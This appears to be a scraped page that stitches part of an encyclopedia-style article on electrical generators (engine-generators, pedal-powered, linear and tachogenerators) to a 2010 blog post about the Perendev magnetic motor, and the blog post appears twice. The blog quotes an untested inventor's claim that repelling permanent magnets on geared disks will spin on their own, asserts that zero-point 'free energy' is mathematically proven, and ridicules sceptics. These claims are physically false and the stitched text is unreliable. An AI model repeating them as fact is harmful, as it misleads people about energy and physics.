An engine-generator is the combination of an electrical generator and an engine (prime mover) mounted together to form a single piece of self-contained equipment. The engines used are usually piston engines, but gas turbines can also be used. Many different versions are available - ranging from very small portable petrol powered sets to large turbine installations.
[edit]Human powered electrical generators
Main article: Self-powered equipment
A generator can also be driven by human muscle power (for instance, in field radio station equipment).
Human powered direct current generators are commercially available, and have been the project of some DIY enthusiasts. Typically operated by means of pedal power, a converted bicycle trainer, or a foot pump, such generators can be practically used to charge batteries, and in some cases are designed with an integral inverter. The average adult could generate about 125-200 watts on a pedal powered generator. Portable radio receivers with a crank are made to reduce battery purchase requirements, see clockwork radio.
[edit]Linear electric generator
In the simplest form of linear electric generator, a sliding magnet moves back and forth through a solenoid - a spool of copper wire. An alternating current is induced in the loops of wire by Faraday's law of induction each time the magnet slides through. This type of generator is used in the Faraday flashlight. Larger linear electricity generators are used in wave power schemes.
[edit]Tachogenerator
Tachogenerators are frequently used to power tachometers to measure the speeds of electric motors, engines, and the equipment they power. Generators generate voltage roughly proportional to shaft speed. With precise construction and design, generators can be built to produce very precise voltages for certain ranges of shaft speeds
[edit]See also
Wikimedia Commons has media related to: Electrical generators
Energy portal
Faraday's law of induction
Alternator
Homopolar generator
Superconducting electric machine
Hybrid vehicle
Solar cell
Radioisotope thermoelectric generator
Thermogenerator
Wind turbine
Diesel generator
[edit]References
^ Augustus Heller (April 2, 1896), "Anianus Jedlik", Nature (Norman Lockyer) 53 (1379): 516
^ Langdon Crane, Magnetohydrodynamic (MHD) Power Generator: More Energy from Less Fuel, Issue Brief Number IB74057, Library of Congress Congressional Research Service, 1981, retrieved from http://digital.library.unt.edu/govdocs/crs/permalink/meta-crs-8402:1 July 18, 2008
^ James Stallcup (2005). Stallcup's Generator, Transformer, Motor And Compressor Book, 2005. Jones & Bartlett Publishers. p. 2-1. ISBN 9780877656692.
^ Horst Bauer Bosch Automotive Handbook 4th Edition Robert Bosch GmbH, Stuttgart 1996 ISBN 0-8376-0333-1, page 813
[edit]External links
Simple generator
A short video demonstration of how an Electrical Generator works
Wednesday, May 26, 2010
Perendev’s magnetic motor
Perendev’s magnetic motor
I am dealing with true inventions every day. I am also seeing a lot of hoaxes in my daily quest to alternative energy. I have learned that energy is not free, perpetual motion machines do not exist, everything is taken from somewhere and put elsewhere. There also is this so-called “free energy“, the zero-point energy, proven mathematically by many scientists. My duty as a green optimistic is to collect everything I see someone has struggled explaining and demonstrating, put it in one place and let the people see and comment.
Also, there are “green pessimistic” websites. When they see something out of “common sense” boundaries, they freak out and scream something “omg, this can’t be real! I need no proof! I must not think of this! Perish, Satan!”
I took such an article today as an inspiration because it talks about a magnetic to mechanical energy converter, one of my favourite subjects, about I haven’t heard much lately.
Here is the whole process of transforming the magnetic energy into mechanical energy, explained by the invetion’s author (Sandeep Acharya):
“Think of Two Powerful Magnets. One fixed plate over rotating disk with North side parallel to disk surface, and other on the rotating plate connected to small gear G1. If the magnet over gear G1’s north side is parallel to that of which is over Rotating disk then they both will repel each other. Now the magnet over the left disk will try to rotate the disk below in (think) clock-wise direction.
Now there is another magnet at 30 angular distance on Rotating Disk on both side of the magnet M1. Now the large gear G0 is connected directly to Rotating disk with a rod. So after repulsion if Rotating-Disk rotates it will rotate the gear G0 which is connected to gear G1. So the magnet over G1 rotate in the direction perpendicular to that of fixed-disk surface. Now the angle and teeth ratio of G0 and G1 is such that when the magnet M1 moves 30 degree, the other magnet which came in the position where M1 was, it will be repelled by the magnet of Fixed-disk as the magnet on Fixed-disk has moved 360 degrees on the plate above gear G1. So if the first repulsion of Magnets M1 and M0 is powerful enough to make rotating-disk rotate 30-degrees or more the disk would rotate till error occurs in position of disk, friction loss or magnetic energy loss.
The space between two disk is just more than the width of magnets M0 and M1 and space needed for connecting gear G0 to rotating disk with a rod. Now I’ve not tested with actual objects. When designing you may think of losses or may think that when rotating disk rotates 30 degrees and magnet M0 will be rotating clock-wise on the plate over G2 then it may start to repel M1 after it has rotated about 25 degrees, the solution is to use more powerful magnets. If all the objects are made precisely with measurements given and the rectangular cubic magnets are powerful enough to rotate more then 30 degrees in first repulsion then the system will work.
Here friction and other losses are neglected as magnets are much more powerful. But think of friction between rotating disk and Shaft, it can be neglected by using magnetic joint between them.
On the left primary measurements of needed objects are given. If you find any reason of not running this mechanism let me know.”
It seems to me that this is basically the Perendev magnetic motor presented in the same-named category of this blog.
What do you think? Could it work?
I am dealing with true inventions every day. I am also seeing a lot of hoaxes in my daily quest to alternative energy. I have learned that energy is not free, perpetual motion machines do not exist, everything is taken from somewhere and put elsewhere. There also is this so-called “free energy“, the zero-point energy, proven mathematically by many scientists. My duty as a green optimistic is to collect everything I see someone has struggled explaining and demonstrating, put it in one place and let the people see and comment.
Also, there are “green pessimistic” websites. When they see something out of “common sense” boundaries, they freak out and scream something “omg, this can’t be real! I need no proof! I must not think of this! Perish, Satan!”
I took such an article today as an inspiration because it talks about a magnetic to mechanical energy converter, one of my favourite subjects, about I haven’t heard much lately.
Here is the whole process of transforming the magnetic energy into mechanical energy, explained by the invetion’s author (Sandeep Acharya):
“Think of Two Powerful Magnets. One fixed plate over rotating disk with North side parallel to disk surface, and other on the rotating plate connected to small gear G1. If the magnet over gear G1’s north side is parallel to that of which is over Rotating disk then they both will repel each other. Now the magnet over the left disk will try to rotate the disk below in (think) clock-wise direction.
Now there is another magnet at 30 angular distance on Rotating Disk on both side of the magnet M1. Now the large gear G0 is connected directly to Rotating disk with a rod. So after repulsion if Rotating-Disk rotates it will rotate the gear G0 which is connected to gear G1. So the magnet over G1 rotate in the direction perpendicular to that of fixed-disk surface. Now the angle and teeth ratio of G0 and G1 is such that when the magnet M1 moves 30 degree, the other magnet which came in the position where M1 was, it will be repelled by the magnet of Fixed-disk as the magnet on Fixed-disk has moved 360 degrees on the plate above gear G1. So if the first repulsion of Magnets M1 and M0 is powerful enough to make rotating-disk rotate 30-degrees or more the disk would rotate till error occurs in position of disk, friction loss or magnetic energy loss.
The space between two disk is just more than the width of magnets M0 and M1 and space needed for connecting gear G0 to rotating disk with a rod. Now I’ve not tested with actual objects. When designing you may think of losses or may think that when rotating disk rotates 30 degrees and magnet M0 will be rotating clock-wise on the plate over G2 then it may start to repel M1 after it has rotated about 25 degrees, the solution is to use more powerful magnets. If all the objects are made precisely with measurements given and the rectangular cubic magnets are powerful enough to rotate more then 30 degrees in first repulsion then the system will work.
Here friction and other losses are neglected as magnets are much more powerful. But think of friction between rotating disk and Shaft, it can be neglected by using magnetic joint between them.
On the left primary measurements of needed objects are given. If you find any reason of not running this mechanism let me know.”
It seems to me that this is basically the Perendev magnetic motor presented in the same-named category of this blog.
What do you think? Could it work?
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